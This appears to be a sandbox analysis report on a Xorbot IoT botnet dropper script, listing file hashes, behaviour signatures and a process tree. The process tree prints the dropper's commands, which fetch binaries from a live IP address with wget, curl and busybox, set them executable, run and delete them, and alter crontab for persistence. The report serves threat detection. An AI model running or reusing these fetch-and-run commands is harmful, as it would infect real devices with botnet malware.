Analysis

  • max time kernel
    150s
  • max time network
    101s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    03-12-2024 18:39

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    a8c7d8298c6f6d498de1b4c9b6887ce5

  • SHA1

    1e64194eff12a4a67a5b19507930b27f08b02a3e

  • SHA256

    52f7f07396b6180fd504954ac793b89a944ac47e96a115af4d26991dbf53d565

  • SHA512

    16b08d2b1e6b93498263fd2262874a04925d799aa5f2723a4fb1543df3631efafd28107bde398a471642c1e76d874849070357266738771338e3c26a93c336f5

  • SSDEEP

    96:6usWuUVx7H4i77jrkYv8G2mD303SE8a7jrkYvqlG2mD3ZGzDivsWuUVxqKRO:6usWuUVxr4iwG2mD3NG2mD3UWuUVx2

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 14 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:697
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:702
        • /usr/bin/wget
          wget http://216.126.231.240/bins/qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwF
          2⤵
          • Writes file to tmp directory
          PID:707
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwF
          2⤵
          • Writes file to tmp directory
          PID:721
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwF
          2⤵
          • Writes file to tmp directory
          PID:729
        • /bin/chmod
          chmod 777 qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwF
          2⤵
          • File and Directory Permissions Modification
          PID:730
        • /tmp/qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwF
          ./qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwF
          2⤵
          • Executes dropped EXE
          PID:731
        • /bin/rm
          rm qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwF
          2⤵
            PID:733
          • /usr/bin/wget
            wget http://216.126.231.240/bins/OMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjae
            2⤵
            • Writes file to tmp directory
            PID:734
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/OMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjae
            2⤵
            • Writes file to tmp directory
            PID:735
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/OMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjae
            2⤵
            • Writes file to tmp directory
            PID:736
          • /bin/chmod
            chmod 777 OMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjae
            2⤵
            • File and Directory Permissions Modification
            PID:737
          • /tmp/OMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjae
            ./OMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjae
            2⤵
            • Executes dropped EXE
            PID:738
          • /bin/rm
            rm OMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjae
            2⤵
              PID:740
            • /usr/bin/wget
              wget http://216.126.231.240/bins/j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
              2⤵
              • Writes file to tmp directory
              PID:741
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:743
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
              2⤵
              • Writes file to tmp directory
              PID:755
            • /bin/chmod
              chmod 777 j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
              2⤵
              • File and Directory Permissions Modification
              PID:758
            • /tmp/j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
              ./j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
              2⤵
              • Executes dropped EXE
              PID:760
            • /bin/rm
              rm j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
              2⤵
                PID:763
              • /usr/bin/wget
                wget http://216.126.231.240/bins/doPZ0I85TF280cMGasF7ainzkhkMKLFBoP
                2⤵
                • Writes file to tmp directory
                PID:764
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/doPZ0I85TF280cMGasF7ainzkhkMKLFBoP
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:772
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/doPZ0I85TF280cMGasF7ainzkhkMKLFBoP
                2⤵
                • Writes file to tmp directory
                PID:785
              • /bin/chmod
                chmod 777 doPZ0I85TF280cMGasF7ainzkhkMKLFBoP
                2⤵
                • File and Directory Permissions Modification
                PID:792
              • /tmp/doPZ0I85TF280cMGasF7ainzkhkMKLFBoP
                ./doPZ0I85TF280cMGasF7ainzkhkMKLFBoP
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:793
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:795
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:796
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:798
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          • Reads runtime system information
                          PID:800
                    • /bin/rm
                      rm doPZ0I85TF280cMGasF7ainzkhkMKLFBoP
                      2⤵
                        PID:802
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/uCqYuixIVw0guQPETDMKHyAfw0ek71RVoJ
                        2⤵
                          PID:807
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/uCqYuixIVw0guQPETDMKHyAfw0ek71RVoJ
                          2⤵
                            PID:809
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/uCqYuixIVw0guQPETDMKHyAfw0ek71RVoJ
                            2⤵
                            • Writes file to tmp directory
                            PID:811
                          • /bin/chmod
                            chmod 777 uCqYuixIVw0guQPETDMKHyAfw0ek71RVoJ
                            2⤵
                            • File and Directory Permissions Modification
                            PID:813
                          • /tmp/uCqYuixIVw0guQPETDMKHyAfw0ek71RVoJ
                            ./uCqYuixIVw0guQPETDMKHyAfw0ek71RVoJ
                            2⤵
                            • Executes dropped EXE
                            PID:814
                          • /bin/rm
                            rm uCqYuixIVw0guQPETDMKHyAfw0ek71RVoJ
                            2⤵
                              PID:816
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/0MlIw5RlK8cvnqDJpsjoFpave9TGXx7JdW
                              2⤵
                                PID:817
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/0MlIw5RlK8cvnqDJpsjoFpave9TGXx7JdW
                                2⤵
                                  PID:818
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/0MlIw5RlK8cvnqDJpsjoFpave9TGXx7JdW
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:819
                                • /bin/chmod
                                  chmod 777 0MlIw5RlK8cvnqDJpsjoFpave9TGXx7JdW
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:820
                                • /tmp/0MlIw5RlK8cvnqDJpsjoFpave9TGXx7JdW
                                  ./0MlIw5RlK8cvnqDJpsjoFpave9TGXx7JdW
                                  2⤵
                                  • Executes dropped EXE
                                  PID:821
                                • /bin/rm
                                  rm 0MlIw5RlK8cvnqDJpsjoFpave9TGXx7JdW
                                  2⤵
                                    PID:823
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/Taht4AQ0gl88e9UEz09iBMg1HXI7skmIaY
                                    2⤵
                                      PID:824
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/Taht4AQ0gl88e9UEz09iBMg1HXI7skmIaY
                                      2⤵
                                        PID:825

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

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                                    Downloads

                                    • /tmp/0MlIw5RlK8cvnqDJpsjoFpave9TGXx7JdW

                                      Filesize

                                      99KB

                                      MD5

                                      9438d9bc392bcf300a5583b6df5bc8f6

                                      SHA1

                                      375a6ae34b516f6f3eeea8030c4084f585017efa

                                      SHA256

                                      68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                      SHA512

                                      1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                    • /tmp/OMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjae

                                      Filesize

                                      127KB

                                      MD5

                                      89077b7bd4bcafca7713be43635c4862

                                      SHA1

                                      fc02edb8fba29ea8ee99e6157ef8560334530052

                                      SHA256

                                      78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                      SHA512

                                      1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                    • /tmp/doPZ0I85TF280cMGasF7ainzkhkMKLFBoP

                                      Filesize

                                      151KB

                                      MD5

                                      6c583043d91c55aa470c08c87058e917

                                      SHA1

                                      abf65a5b9bba69980278ad09356e53de8bb89439

                                      SHA256

                                      2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                      SHA512

                                      82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                    • /tmp/j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h

                                      Filesize

                                      151KB

                                      MD5

                                      3c90d5820bddcf7c5d1bd21dfa49d958

                                      SHA1

                                      5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                      SHA256

                                      bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                      SHA512

                                      54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                    • /tmp/qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwF

                                      Filesize

                                      111KB

                                      MD5

                                      701e7a55a4f3650f5feee92a9860e5fc

                                      SHA1

                                      6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                      SHA256

                                      ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                      SHA512

                                      7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                    • /tmp/uCqYuixIVw0guQPETDMKHyAfw0ek71RVoJ

                                      Filesize

                                      112KB

                                      MD5

                                      05d7857dcead18bbd86d2935f591873c

                                      SHA1

                                      34d18f41ef35f93d5364ce3e24d74730a4e91985

                                      SHA256

                                      2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                      SHA512

                                      d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                    • /var/spool/cron/crontabs/tmp.PtS1fU

                                      Filesize

                                      210B

                                      MD5

                                      54eacbc63b2ae82d5a70dd8a6a1b5398

                                      SHA1

                                      3f3ee7200d2e8538144ef110fc01ac032a6df6ca

                                      SHA256

                                      e6044623a706431f30b3f88ba3898f9876360a0d5615a7919c7696677cfd7773

                                      SHA512

                                      32604d2f17e95d0ecb9932a5f5a8713918ce711d5dc2af993f47c9ea8dea54aaa61e04582572ed4eeff0009d8f1b1ab8c1b8a607e4a913d797b086c9474c3e34